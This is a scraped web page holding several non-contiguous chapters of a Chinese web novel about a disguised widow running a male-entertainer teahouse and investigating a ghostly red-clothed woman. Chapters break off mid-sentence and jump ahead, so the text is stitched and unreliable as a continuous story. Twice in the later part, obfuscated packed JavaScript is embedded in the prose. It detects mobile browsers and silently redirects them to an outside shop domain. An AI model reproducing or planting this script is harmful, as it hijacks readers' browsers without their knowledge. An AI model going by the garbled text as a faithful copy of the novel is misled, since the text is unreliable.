“这外馆的三层楼,季掌柜之前已经见过,一层大堂用于宾客吃酒,每日从下午到晚上,也有我们的人登台进行曲艺或者其他龙都时新的表演;二楼雅舍多是用于接待贵族高门的夫人小姐,她们通常不喜大庭广众,会将馆里中意的男倌请上二楼来陪她们饮酒作诗。” 季窈抬头看去,三楼的房间仍旧如她第一次来那样紧闭着。 “那三楼呢?” 京墨随着季窈的手看去,眸底深邃如渊。 “那里储藏着馆里不用的旧书和废弃的书房,也有男倌们偶尔用于表演后休息的内室,掌柜不用过多在意。” 老狐狸让她不用在意,那她可要多在意在意……说了半天,他们的卧房都在哪里? 跟着京墨复走回一楼,打开侧门出去,季窈眼前竟是另一番新天地。 原来南风馆背后还有很大一个四方池塘,池塘里无数青绿荷叶已经将池水完全覆盖,荷花含苞待放,郁郁葱葱,在晴朗的日头下显得生机盎然。两人从围绕着池塘修建的回字形走廊穿过,来到正对着南风馆的另一栋宅院,走廊上并排四个房门,门牌上分别写着他们四个的名字。 “这里才是我们的住处,平日里除我们四个以外,其他男倌都不住在馆内。” 他们走到最后一间屋子的门口,杜仲推门出来眼眸扫过季窈的脸,神情平静。季窈忌惮他是唯一一个知道自己女娘身份的人,他不开口,她也懒得开口,只略一点头,又抱着包袱跟着京墨往前走。 “那我的卧房在哪?” 穿过四人房门,两人又走上一座池塘上的木桥,季窈看着桥对面一间清新雅致但又与众人隔绝的小屋时,惊讶地张大了嘴巴。 “不会那、那就是……” “不错,”京墨走过木桥,将袖笼中的钥匙掏出来将门打开,里面正对着是正厅茶桌,右边屏风内隐隐可见一张纱帐大床,左边则是两面带窗的书房,透光性很好,此刻正有艳阳穿过窗几缝隙照在书桌上,“这里就是掌柜的卧房。” 季窈像个没什么见识的黄口小儿,抱着包袱在屋子里打转。 这里远离其他男子,单独住着是不错,可是每次进入都要路过他们四人的房门口,要做点什么事岂不是完全没有秘密可言?而且她那个该死的,哦已经死了的亡夫为什么要给自己单独建造这样一个屋子,他一个人在谋划什么? 随手将包袱放在椅子上,季窈试探性问道:“那这间屋子除了那座木桥,可还有其他通道可以进入?” 京墨推开右侧内室的窗户,将房中久未住人产生的灰尘散出去,看着窗外茂密的竹林道:“掌柜也看到了,木桥下是池塘深不见底的池水,你房中右侧除了正对杜仲房间的窗户外,就只剩下密不透光竹林。想来应该是没有其他出入口,尽可放心。” 老狐狸让她放心,她可更不放心了。 看季窈若有所思的模样,京墨双眸眯缝起来,将钥匙搁在桌上朝外面走去。 “掌柜一路辛苦,就先在此休息片刻,用午膳的时候我再来叫你。另外我们这里每日洒扫的伙计嬷嬷都住在街后面的屋舍里,等他们来了我再叫他们来你房中打扫。” 将包袱垫在屁股底下,季窈坐在凳子上,望着窗外连天的荷叶出神。 无所谓,光脚的不怕穿鞋的,她好不容易从赫连家逃出来,此刻无牵无挂,未来的日子只会越来越好。 因为床上的被褥看着还是旧的,季窈就没往内室去,见屋外阳光正好,干脆又走出去来到门口,褪下鞋袜去玩池子里的水。 南星不情不愿走过来的时候,她正用脚背勾起池子里的水花,玩得正高兴。 雪白的脚背光洁一片,南星远远瞧见她那双小巧玲珑的脚在水里掀起涟漪,好似与池水一同闪着微光时,心里突然咯噔一下。 少年走过木桥时发出的声音引季窈回头,她见来人是南星,下意识收起双脚,一时间不知道该往哪藏。 “京墨让我来叫你吃饭。” “啊,好,这就来。” 南星别别扭扭,传完话拔腿就走,边走还边嘀咕。 “玩什么水啊,娘们唧唧的。” ** 季窈穿好鞋袜来到前馆大堂,才发现大堂里除了杜仲四人,还站满了其他的伙计。 京墨站到季窈身边,朝众人温声开口道:“这是季掌柜,他已经从赫连大兄那里将我们的店买下来,今后就是我们新的掌柜了。” 说罢,他又低头向季窈介绍道:“这边五人是馆里的小倌,那边是负责洒扫的伙计和嬷嬷,还有跑堂的小厮和膳房的厨子,以后掌柜慢慢认识。” 众人见季窈一脸青涩,看上去最多不过十七八岁,一时间脸上质疑、鄙夷、震惊的神情都有,只有之前在门口迎接季窈的那名明艳少年朝她微微一笑,以示友好。 大概是在为那日的无礼表示歉意。 介绍的环节结束,大家各归各位,开始为下午开门迎客作准备,京墨带着季窈坐 7. 哑巴 《继承亡夫的南风馆》全本免费阅读 入夜。 南风馆后面长长的回廊上,季窈洗漱完,一手抱着换下来的衣服,另一只手擒着烛台,轻手轻脚穿行其间。 她看着面前四间房舍屋内的烛火都熄灭,猜测他们都已经睡下,才松一口气直起腰身,穿过四人门口的走廊,往木桥走去。 她没想到这座只接待女子的酒肆如此热闹,一直营业到戌时才打烊,京墨催促着季窈先行去到浣室洗漱沐浴的时候她刚好以要算账为由躲过一劫,开口让他们先去洗,自己则是在房间里躲到他们都洗完回房了才出来。 当初住进来的时候只想着赶紧逃离赫连母子,现在看来,还有诸多麻烦没有解决。 正当她走过木桥,靠近自己的屋子时,烛光却映照出一个高大的身影,吓了季窈一跳。 “谁、谁、谁在那里?” 宽厚的背影转过来,京墨温吞的面容在昏暗烛火下显得格外温柔。 “掌柜。” “京墨?这么晚了,你来做什么?” 季窈下意识将衣服堆在胸口,生怕他将自己的身段看出来。 “南星一时胡闹,才叫你莫名多了个算账的活。此事不用急在一时,慢慢学也是可以的,我看你白日在一旁挠头,怕你为此睡不好觉,特来告知。” 这话还算贴心。 季窈急着打发他走,连连点头。 “没什么,南星也是为店里节省开支,我会看着账本一点点学的,不劳你操心。” 两人正说话,恍惚间,季窈的视线穿过四方池塘,骤然瞧见对面前馆三楼的窗户上似有红色光点闪动,她被吓得浑身一激灵,擒住烛台的手微微发抖。 “那、那是什么?” 季窈指着前馆三楼的窗户,京墨顺着她的手指望去,眼神一凛,迈步往左边移了移,用高大的身躯将季窈的视线完全挡住,沉声解释道:“这里到了夏季,时常有夜照出没,四散飞舞之下倒将不熟悉的人吓住,掌柜不用担心。” 夜照她虽然没有见过,却也看书本子里有写,这种夏虫尾部荧光通常很弱,也绝不是方才三楼窗户里如此骇人的红色光点!她就知道,京墨这个老狐狸守在她门口根本不是为了宽慰她算账的事儿,而是为了确认她没有看到三楼的动静。 现下不是与他争执的好时机,季窈平静下来,低头道:“是吗?那就好,我回屋歇息了,你也早点休息。” “好。” 京墨面容平静如水,注视着季窈进屋关门。待她将烛火熄灭后,听着门外细碎的脚步声,才确定京墨离开了。 三楼到底有什么呢?今夜不去看个明白,她是睡不着的。 打定了去瞧一瞧的主意,季窈翻身从床上爬起,攀在窗户上观察片刻,只觉整个后院寂静无声。远远看去,桥对面的四间屋子早已漆黑一片,仅在门外廊下留有一个灯笼照亮,季窈脱下鞋子拎在手上,打开门走了出去。 季窈猫着腰,路过四人房门前还算安静。她一路穿过回廊到了前馆,走到三楼门口时,看着紧闭的房门能听到自己的心正狂跳不止,在这寂静的南风馆里显得尤为突出。 咚、咚、咚。 原本她对于龙都里大多事情本就不了解,一点响动什么的倒也不至于让她如此重视,可是方才京墨有意遮掩的模样实在有点此地无银三百两,令她不得不重视起这个紧闭的大门里可能会存在的东西。 会是什么呢?妖怪?鬼魂?还是更为可怕的东西? 不管了,谁让她就是这么个性子,容不下别人对她有所隐瞒呢? 悄无声息的三楼走廊,季窈伸手触碰到门上铜扣,发现没有上锁后,稍一用力将门轻轻推开。不同于京墨所说无人进出,这扇门后没有扑面而来的灰尘,只是看清门后面的景象,少女后脊一阵发麻。 正对着房门,看着像是供台的案桌上,并排摆放着四盏油灯,每一盏上面都罩着红色油纸糊制的灯笼,这便是季窈从后院门口看到的红光,微弱的光线仅仅只能将供台附近的事物照亮,她却瞧见四周墙壁和木架上都挂满黄符、黄纸和五彩的经幡,在这个几个时辰前还人声鼎沸的酒肆中说不出的怪异。 这都是些什么?难道杜仲他们在这里祭祀谁,会是她那个亡夫吗? 仔细看去,每盏油灯的下面似乎还压有一张纸条,猜测或许就是被祭祀人的名字。 还没等季窈走上前看清油灯下压着的名字到底是谁,一张巨大的黑色斗篷突然从房门右侧朝她盖来,视线瞬间被遮住的感觉随之而来的是深深的恐惧。 “谁?” 还没等到她将斗篷掀开,紧接着少女后脖颈一阵剧痛,她眼前一黑,彻底失去了知觉。 昏倒的少女向后仰躺,闭上双眼前的最后一刻,只感觉到自己又落入一个温暖的怀抱之中。 ** 第二天醒来的时候,天已大亮。 季窈摸着脖子后面的肌肉从床上坐起来,酸胀之余,连带着头都还还疼着。 看清楚自己身处卧房内,她一边揉着后脖颈,一边努力回忆,却发现自己什么也想不起来。 少女越想越气,下榻将衣服胡乱穿好,推开房门就冲着前馆而去。 之前在门口迎她的那个明艳郎君商陆,见她起这么早,正抬手跟她打招呼,却见季窈怒气冲冲,径直越过他转身上了楼。 “掌柜……早啊。” 三楼左侧的房门仍旧没有上锁,季窈提起裙摆一脚把门踹开,倏忽间觉得阳光有些刺眼。 缓过神来,只见屋内供台上早已是空空如也,两侧架子和墙上巨大的黄符也不知去向,只有两侧地上黑布盖住的杂物,掀开来看是一个个打包好的木箱子,里面装着不用的表演道具和一些坏掉的小凳。 “收拾得倒挺干净。” 撤得了摆设,跑不了人,在馆里一共就他们五个人,昨晚打晕她的人必定就在后舍那四个人之中。季窈恨得牙痒痒,转身又迈着步子“咚咚咚”下楼,开始在馆里寻找那四个人的身影。 杜仲起得最早,正坐在二楼雅舍的一个房间内,透过二楼窗户看向楼外街市上的摊贩一一撑伞出摊。季窈走进去,看着他若无其事的样子就来气。 “昨晚是不是你打晕的我?” 杜仲抬眸,目光平静地扫过少女气鼓鼓的脸庞,又将视线移回窗外,没搭话。 季窈上前一步,干脆站到窗前又问道:“说啊,昨晚在三楼里搞鬼又打人的是不是你?” “在胡言乱语些什么。” 他这话带着一丝疑惑,听者到不像是有意回避,季窈没问出来个所以然,侧眸看着京墨从外面回来,又赶紧下楼堵住他,问了他同样的问题。 京墨将手中采买像是茶叶包的东西递给商陆,眉宇清爽带笑。 “掌柜可是昨夜梦魇了?我买回来的茶叶里刚好有情心定神的茶,让商陆给你泡一壶尝尝可好?” “昨晚楼上那些个油灯、黄符我都瞧见了, 8. 湿身 《继承亡夫的南风馆》全本免费阅读 第二杯酒下肚,剌嘴的烈酒在季窈口中散发浓郁香气,闷得她皱眉。 这东西有什么好喝的? 南星看她面色如常,与杜仲对视一眼,好像有些不甘心,连忙又端起酒杯,开始找各种理由敬季窈的酒。 他难得示好,季窈不好拒绝,只能眼巴巴的看着桌上饭菜,接住南星敬来的酒。 大约又是五、六杯下肚,南星俊美旖丽的面庞开始泛红,带着惹人遐思的坨色,像一只误喝了酒水的猫儿。他已经明显有些醉意,表情懊恼,动作也不甚连贯,趴在桌子上嘀咕。 “你不是不会喝酒吗?” “啊,这是我第一次喝酒啊。” 真难喝。这句她没有说出口。 京墨看了杜仲一眼,咳嗽一声也端起酒杯。 “南星醉了,我陪掌柜喝。” 四人好像说好似的,一个接一个,轮番开始对季窈进行酒精轰炸。他的酒量比南星好一些,可是直到酒壶见底,季窈也没事人一般,揉着肚子表示快喝不下了,一点喝醉的迹象也没有。 杜仲和蝉衣也喝了一些,几人不约而同地红了脸,醉眼惺忪地瞧着季窈,眼里带着不同程度的怀疑。 她这个骗子!说第一次喝酒肯定是唬他们的,看来今日是别想趁着她喝醉,套她的话了。 酒足饭饱,几人觉得无趣,看杜仲起身离开,亦跟着起身离开饭桌。 南星酒意上涌,瞧这只有季窈面不改色心不跳,还在桌上大快朵颐,一双漂亮的杏眼微黯,凑过去伸手想去摸季窈的衣领。 “不对……你肯定在衣服里藏装酒的漏斗了……让我检查一下!” 季窈嘴里正大口嚼着红烧肉,没注意到南星伸过来的手。待她感觉到时,少年的手已经揪住她的衣襟,双手用力往外拉开,露出里面裹胸的布条。 “登徒子!” 少女大惊失色,放下筷子就往后躲了几步,一手紧紧抓住衣领遮掩自己,另一只手顺势扬起,“啪”的一声就打在南星脸上。 被巴掌声吸引住,原本离席的京墨和蝉衣回头看见南星的窘态,不以为意,耸耸肩又转身离去。 只有杜仲看着季窈揪紧衣襟,眼底闪过一丝玩味。 看她的模样并不像说谎,可为何,她就是喝不醉呢? 少年挨了一巴掌,整个人往后仰去倒在饭桌上,本就绯红的俊脸上立刻肿起座小小的五指山。他被打得眼花,翻了几个白眼趴在桌子上不动了。 ** 灌酒套话的计谋就这么落了空,南星第二天浑浑噩噩从床上醒来,强撑住困意在房中梳洗的时候,一声少年郎尖锐的嘶吼划破宁静,响彻整个南风馆上空。 “啊!!” 季窈刚起,还在房中穿衣服,南星捂着脸推门而入,吓得她赶紧转过身去,背对着南星将衣衫系好。 “是不是你!我脸上的巴掌是不是你打的?” 季窈看着他脸上仍然十分明显的巴掌印,学他昨日一副事不关己的样子抬脚往外走。 “是你自己大半夜喝多了酒,不知道摔到谁手掌上去了,干我何事?真是无理取闹啊。” 南星眼眶噙泪,俊俏白皙的脸上满是委屈,他伸手拉住季窈的袖子,不让她走。 “就是你打的!这馆里只有你的巴掌最小,呜,我的帅脸啊……” 他也不管季窈是否回应,蹲在原地自怜自艾起来。 “我以后要变难看了,怎么办啊……” 少年委屈巴巴的模样看着怪可怜的,季窈偷笑一声,甩甩衣袖离开,留他在原地抱怨自己。 晚上营业的时候,不少女客看着南星左脸肿起一块,都一惊一乍地吵着要给他擦药,亦或是要将美肤的什么琼脂玉露膏拿来赠与他。 少年气鼓鼓坐在女客们中间,看着季窈在柜台里对着来往客人打招呼的样子,心中又生一计。 “掌柜。” 听见有人喊她,季窈从柜台里抬头,朝面前女客笑答道:“小娘子唤我何事?” 女客伸手指向大堂正当中一张桌子,按南星教的开口道:“天热,我们那桌要了好几次凉水,你们伙计也没拿上来,我只能来劳烦掌柜的给我们那桌送一壶水了。” “这就来。” 季窈未疑有诈,转身去到茶水房倒了一整壶凉水来,刚在桌上放下,桌边被南星交代好的女客们立刻将桌上的水壶盖子打开,佯装不小心滑倒,“哎哟”叫了一声,就把整壶水倒在了季窈身上。 夏日暑热,她在裹胸外只穿了一件圆领襴衫,只当在家一样取其舒适为主。没想到此刻被一壶水从肩上淋了个遍,慌张之余她伸手挡住胸口,正准备躲到一边时,却被方才的女客拉住袖子。 “哎哟,方才没有站稳,是奴家冒失了,掌柜的,我给你脱下来罢。” 脱下来?那哪行? “不必了不必了,我到后面换一件就是。” 女客不依不饶,伸手非要来扯季窈的衣领。 “那怎么行?是我害掌柜湿了衣衫,总归该要我把掌柜的衣服带回去洗过再拿来还给你才是,你就别谦虚了,脱下来给我吧。” 与此同时,看季窈脸红羞涩,十分好欺负的模样,早就被南星交代好的桌前其他几个女客也开始上手,拉着季窈想要去脱她的衣服。 季窈又羞又恼,见此情景也没功夫深究这湿身背后到底是无意还是有意,她低着头拼命护住自己的衣襟,那些女客就又伸手来解她的腰带。 “好姐姐们别闹了,我这衣服真脱不得。” 大堂哄闹之间,京墨从雅舍听见动静,走出来刚好看到这个场景。他余光撇见不远处,南星正一脸幸灾乐祸,袖手旁观,方知又是他的主意。 “胡闹。” 刚走下台阶没两步,京墨瞧着季窈的胸口,目光骤然一凛,一贯平静的面容露出些许惊诧。 大堂这边,季窈还在垂死挣扎,她的领口被两三个女客扯得松松垮垮,白色裹胸布若隐若现,她在绝望之中抬头,却只瞧见三楼杜仲冷漠的目光。 真的不打算来帮帮她吗? 渐渐的,季窈心里的羞赧被愤怒代替,她此刻也顾不上是不是会得罪客人,也不知哪儿来的力气伸手一挥,将来拉扯她的女客推开,捉住衣襟站了起来。 她这一认真,方才还在嬉笑看戏的大堂宾客们立刻收敛笑容,肉眼可见的不满起来。 “不过是开个玩笑,推人做什么?” “是啊,哪有小倌这么对客人的,也不看看自己到底在靠谁吃饭?” “臭男人的身子有什么好遮掩的,我们还不惜得看呢。” 季窈衣衫湿透,被 9. 外室 《继承亡夫的南风馆》全本免费阅读 “什么?” 大堂此刻吵闹声不断,十分嘈杂,恍惚间季窈有些不敢相信自己的耳朵,以为自己听错了。 亲爹杀了妹妹,怎么可能? 京墨接着往下走,垂目之下,似乎已经对这件事觉得没什么大不了。 “掌柜没有听错,这件事是南星被带回南风馆后,赫连兄偶然一次向我提起的,其他人不曾知晓。想来……也难怪他会是个容易患得患失的小孩子。” 两人走回二楼,雅舍里的女客已经离开,京墨将放在桌上,看着应该是打赏给他的银子拿起来,转身递给季窈。少女心思泛起涟漪,突然有些理解为何自己的到来会让南星反应如此大。 他可能以为,自己又被抛弃了吧。 “那……杜仲和蝉衣呢,他们是怎么来到这的?” 京墨一边收拾着桌上的茶盅,一边耐心回答着她的问题。 “我来南风馆的时候,杜仲就已经在了,他与我一样,都称赫连尘一声兄长,且他二人经常在赫连兄房中饮酒,想来关系非同一般。至于蝉衣——” 他端着木盘转过身,说到蝉衣时,语气不自觉带上几分惋惜。 “——他被带回来的时候浑身上下都有不同程度的烧伤,一张脸被烟熏得漆黑,醒来后才发现嗓子也被浓烟熏坏了。他的师父师娘一家人在大火中丧生,是赫连兄出银钱将他们一家安葬,在那之后,蝉衣便认了赫连兄作师父,留在南风馆中替他做事。” 原来是这样。 季窈小心翼翼,眼带好奇地看向面前神情疏懒的郎君。 “那……京墨你呢?” 听她问到自己,郎君还在收拾桌子的手顿住,漆黑的眸子于无人处转暗,仿佛要从无人的雅舍窗户外看向某个熟悉的地方。停顿片刻后他收回目光,缓缓道:“我没什么特别,不过是厌倦了家中长辈的安排,想要换个活法才来到这的罢了。” 少女看他神色凝重,个中真实缘由,恐怕没这么简单。 收拾完毕,京墨一手端起堆叠起来的茶碗茶杯,另一只手伸到季窈头顶,揉揉她头顶的碎发,笑道:“以后掌柜的心事也可以跟我说,南星若是欺负你,也尽可告诉我,我会替你出头。” 季窈没有被人这么揉过头顶,心绪也一并被他揉乱,于是伸手缕缕自己的头发,故作淡定道:“用不着,都是男儿,我才不怕他呢。” 京墨闻言也不反驳,轻笑一声,端着木盘下楼去了后厨。 ** 第二日,季窈认真学习,在京墨的指导下将前些日子欠下的账全部算完,南星在一旁冷嘲热讽,等着她来找自己算账,她却只当是蚊子飞过,一眼都不曾看他。 第三日,季窈说服京墨和蝉衣每日下午轮流到二楼看台,外头街市能看见的阴凉处小坐,引楼下路过的女娘们纷纷仰头停驻,是以馆内的生意较往日又好了许多。南星被晾在一边,索性靠在一旁翘脚嗑瓜子,看似散漫随意,其实眼神就一直没有从季窈身上离开过。 到了第四日,他终于忍不住了,见季窈又无视他,直接从他身边走过去招呼客人,南星一把抓着季窈,像拎小鸡崽一样把她带到墙角,愤愤不平道:“看见人要打招呼,你怎么这么没礼貌?” 季窈整理衣衫,目光澄澈。 “我在等你,主动向我道歉。” 她好直白! 少年闻言,俊美无双的一张脸霎时红透了,他松开季窈,脸上青一阵红一阵,竟像个女人似的别别扭扭,又是抿唇又是瞪她,憋了好一阵才开口道:“不就是泼你一身水嘛,就这么小气。” “这是承认你做错了的意思吗?” 其实他当时看着这么多女客当中羞辱她,后知后觉也知道自己做的有些过了,可看见京墨来将她带走,他又觉得好像大家都知道他做了坏事一样,索性干脆不予理会了。 季窈像在训小孩一样问话,南星心里平白生出一丝委屈。 “承认了你就不会无视我了?” “嗯,”季窈站直身子,将脸凑到南星面前,真诚地眨眨眼,“我不是记仇的人,既然接下这南风馆,便是铁了心要和你们做朋友的。我与其他人不一样,认了谁做朋友便是一辈子的朋友,绝不会做出抛弃、背叛的事来。” 言下之意,便是她不会像赫连尘一样,就这样一声不吭地把他们卖了。 当然这原本只是她的谎言,不过死者乃为生者开眼,亡夫要是知道他留下的这帮兄弟与她相处的好,地下有知,想必也会高兴吧。 这一番话恰好点中南星心里最不易察觉的地方,他撇开脸,语气却带上些许期待。 “最好是……谁知道你说话算不算数。” 说罢,他看见不远处桌子上一壶茶水,快走两步拎过来递到季窈面前。 “我道歉,你也淋我一回吧。” 季窈接过茶壶,略晃了晃里面的茶水,讪笑道:“这里面可是滚水。” “啊?”他下意识护住自己的脸,吞吞吐吐想把茶壶抢回来,“那……那我去换一壶,你等着。” “不用了。” “不行,不泼回来,别人还当我道歉没有诚意。” 两人拉扯之间,京墨突然从一间雅舍里走出来,将南星叫走。透过纱帘,季窈看见他们面对一个体态丰腴,衣着不俗的妇人坐下。那妇人愁眉苦脸,见男性一进来立刻亲昵地握住南星直接分明的手,看样子像是在向他倒苦水一般,神色满是哀愁,嘴巴一直动个不停。 其间南星好生好气应答着,不时侧过脸去与京墨对视,随即又转过头来同夫人说话。 拉过一旁正在给女客们倒茶的商陆,季窈盯着那个妇人小声道:“那人是谁?怎么感觉京墨和南星格外重视她?” 商陆今日穿了一身水红色薄纱长衫,花蝴蝶似的穿梭在女客们之间,定睛细瞧,认出纱帘里的妇人后,露出八卦的嘴脸答道:“那是赵大娘子,咱们这儿有名的甄员外,甄老爷家的大夫人。” “如何有名法?” 商陆见周围全是女客,低头凑到季窈耳边,声音又比刚才小了一分。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|12292033|128911||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,甚至有一次她院子里晾的红色被褥都被她偷偷用小刀划破了。 至于林生,他就住在离东街不远的麦子胡同,据说也是个深居简出的人,每日哪怕是挑着担子沿街卖货也不会像其他商贩一样大声叫卖,只默默地在街头巷尾走着,遇到谁叫他便停下来。至于婚配,邻舍倒给他介绍过几次,每次都被他以自己配不上人家婉拒,时间一长,便没人再去过问他的亲事。 “有一件事比较蹊跷。”杜仲神色自若,眼里却有暗波流动。 “何事?” “……麦子胡同曾经闹过鬼,有个打更的老汉曾经见到一个红衣女鬼出现在胡同口,一眨眼的功夫便不见了。不仅是他,后来还有一回,一个喝醉酒的官差深夜回家也瞧见了,只是他第二日醒来含糊其辞,家里人只当他是喝醉了出现的幻觉。现在想来,可能也与这个红衣女子有关系。” 又是红衣女鬼,未免太巧了。 将两封书信捏在手里,此刻能不能挣到赵大娘子的钱和能不能帮杜仲找到他想要的东西已经没那么重要,她只想知道真相。 ** 一连七天,暑夏长夜,雷雨声不断。每每看到蝉衣一袭黑衣,举着油纸伞孤身一人从坠丝成线的雨帘之中,缓慢走回南风馆大门时,季窈就知道那日计划落空,甄员外没有去到城郊外与红衣女子私会。 到了第八日,大雨将歇,馆里人影稀疏,只有两三桌客人在大堂里吃茶,看着他们从外面请来的戏班子排的新戏《折红杏》。南星在后舍找一圈没见着人,走出来时,正瞧见季窈趴在柜台里,翻着账本唉声叹气。 “哎,这几日流水也太少了,老天爷你要是还怜惜我,就快别下雨了吧。” 青衣薄纱扫过柜台小门,明媚俊朗还穿着自己新制好衣裳的南星一弯腰钻进柜台,与少女并肩而立。 “师娘,我……” 他刚一钻进来,季窈就条件反射往旁边一躲,他再靠近,她就再躲,如此再三,将少女逼至酒柜旁边,再无别处可去。 “师娘你躲什么?” 季窈翻一个白眼,拒绝抬头看他。 “怕你酒后失德。” “我没喝酒。” “啪”的一声,少女将账本合上,无奈看他道:“那也离我远一点。” “为何,是怕我把那日你亲……唔……” 玉白纤长的一只手将南星嘴巴捂住,季窈变了脸色,一边用愤怒的眼神瞪着他,一边不忘四处瞧,看见大堂内其他几个人都不在,这才安下心来。 “不是让你不要说吗?” 鼻息间,一股淡淡的花香气袭来,南星眼神温柔,轻轻将少女的手拿开,温声道:“师娘今日擦的什么香,好香啊。” 她低头指了指自己腰间的香包。 “是茉莉花,白日闲来无事,去麦子胡同寻林生的时候买的。里面的茉莉花还是刚摘的呢,你瞧瞧。” 这一招转移话题颇为有用,南星正欲与季窈再聊些什么,只见蝉衣几乎是用跑的速度进了大门,看他神色紧张,季窈立刻兴奋起来。 “甄员外出城去见红衣女子了是不是!” 24. 夜探 戌时三刻,夜幕低垂。 盛暑的夜来得迟,南风馆每日打烊的时辰也从戌时延长到了亥时四刻,以最大限度装下少男少女们难以入眠的夏夜。 季窈与南星、杜仲两人一起赶到城郊外的竹林时,不远处院落外侧破败大门上那盏旧灯笼已经亮起来,在漆黑的夜色中随微风不时左右晃动,显得诡异又萧瑟。 今天白日雨才刚停,是以天上此刻层云密布,一丝月光也无。季窈三人不敢点等,就这么蹲在伸手不见五指的竹林深处,神经紧绷。 “他们当真在里面吗?” “嗯,”不知怎么的,南星面色微暇,看向季窈的眼神带着不自然,“掌柜别出声,仔细听。” 她在夜色中凝神静听,果不其然听到那扇亮起微微烛火的窗户里传来类似有人在里面小声呜咽的声音。仔细思考了这声音的来由,少女倏忽然红了脸。 啊,他们是在……在那个啊…… 宅院里,兴许是常年痰症的原因,甄员外的声音粗旷难听,十分好辨认,倒是女子的声音,尖细隐忍,她总觉得在哪里听到过,但又无论如何想不起来在哪里听过。 “我们不进去吗?” 直接将两人抓个正着,一一问来便一清二楚了。 这时,一抹白色的身影从门内飘出来,三人盯紧细看,正是陈无忧的游灵。她表情痛苦,一直用左手捂着右手手腕,不知道是何用意。 “不会每次甄员外在里面与红衣女子私会的时候,陈无忧都在里面看着吧?” 想想真是让人不适。 杜仲看一眼季窈,眼神中透着嫌弃。 “我们一不是甄员外的夫人,而并非红衣女子的家眷,贸然冲进去起不了任何作用,只会打草惊蛇。既然甄员外没有见过陈无忧,那现在杀死陈无忧并且将尸体藏起来的人最有可能就是那个红衣女子,只有知道了她的身份,我们才能借此机会找到陈无忧的尸体,从而指证红衣女杀人藏尸。” 听他分析得头头是道,季窈点头之余,只觉得加在杜仲身上的谜团又多一个。 他到底会是什么人? “快看!灯熄了!” 随着南星的手指方向,三人看着窗户里的烛火被人吹灭。本以为不久后两人就会先后从里面走出来,没想到里面竟然隐隐传来了争执的声音。 甄员外的声音尤为明显,显然是被红衣女的什么话给激怒,大声回应着什么,接着又传来玉器掉在地上摔碎的声响。 蹲守在门外的三人面面相觑,正犹豫要不要再走近些时,甄员外穿戴整齐,面带愠色先从门里出来,拐过对面竹林走进羊肠小径,没了踪影。再过一会儿,怀中抱着一个包袱的红衣女脚步匆忙地出现在三人眼前,亦是走出院落后选择与甄员外相反的方向而去。 “走,跟上她。” 因为夜深人静,一路上连个人影都没有,三人猫腰跟在红衣女身后不敢靠的太近,生怕会被她察觉。 红衣女黑发披肩,完全将面容遮挡住,这一路上季窈想尽办法也没能看清她的长相,三人跟着她从南城门进来一直走到东城,沿着两侧开满月季的小径拐过集市街,进了胡同。 越往里走,季窈越觉得此地好像她也来过。不仅如此,好像自己身上茉莉花香包的香气越来越浓了。怎么回事? 等等,这不是麦子胡同吗? 她激动得扯住南星衣袖,两眼放光。 “这里是麦子胡同,那个卖货郎就住在这里。” 南星并未过于在意她在说什么,目光只落在那只抓着自己衣袖的小手上,心里暗自高兴。 “掌柜若是害怕,可以躲在我身后。” “你到底有没有听我说话?” “嘘。” 杜仲转过身来,示意两人闭嘴,就这一眨眼的功夫再转身,才发现不远处的红色身影不见了。 “诶,人……不对,鬼影呢?” 三人直起身来,往胡同深处走了一段,开始四处搜寻红衣女的身影。季窈无意间在黑暗中转头,忽然瞧见自己右侧的宅院门上,用红漆木牌挂着一个小小的“林”字,字的旁边还用黑墨画了一个小小的香包图样,正好与自己下午在林生那里买的茉莉花香包一模一样。 她立刻来到宅院大门口,扒开一个缝隙往里面看去。 这一扒开不得了,红衣女此刻也正低头猫着腰,凑到门缝前往外看去,鲜红的衣裳和硕大无比的一张看不清五官的脸就这样正对着季窈,吓得她惊叫起来。 “啊啊啊啊!” “怎么了?”南星一个箭步冲上来,接住往后仰倒的季窈,将受惊过度的她抱在怀里,尽力安抚。季窈惊叫几声后渐渐镇定下来,指着门后面,带着哭腔道:“她……她就在里面。” 这时,左邻右舍都被少女的尖叫声惊动,东西两侧纷纷亮起烛火。三人正站在门口,犹豫是进去还是离开之时,门内突然传出林生冷漠的声音。 “谁在外面?” 还没等他们三人想好对策,被季窈扒开了一个门缝的大门倏忽间打开,林生手擒烛台走出来,一头黑发披散在肩头,显然是刚从床上爬起来。看清季窈的长相后,他面露不悦。 “为什么还要来找我?不是都告诉过你们好多次了,我什么都不知道,什么都不清楚吗?” 按住自己心脏狂跳不已的胸腔,季窈用余光胆战心惊地看向林生背后的宅院深处。 “我刚才明明看见红衣女在你院子里。” “胡扯!我尚未娶亲,街坊四邻人尽皆知,你休要诋毁我的清誉。” 杜仲站出来,横眉冷对道:“公子既然行得正坐得端,不如让我们进去一看。” 看着走出大门来看热闹的四邻越来越多,林生本就孤僻的性格此刻有些急了,退后两步就打算关上房门。 “休想!带着官府的搜查令再来吧,否则我可要报官说你们私闯他人宅院!” “砰”的一声,大门在三人面前关上。 直到屋内烛火熄灭,整个胡同又归于平静,来看热闹的人见无事发生,提着灯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|12312806|128911||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笼转身又回了自己屋里,只剩一个形容枯槁的老妇人披着外衣站在屋檐下,笑眯眯地看着季窈三人。 “这可怜孩子啊,一直都是一个人住,你们别误会他了。” 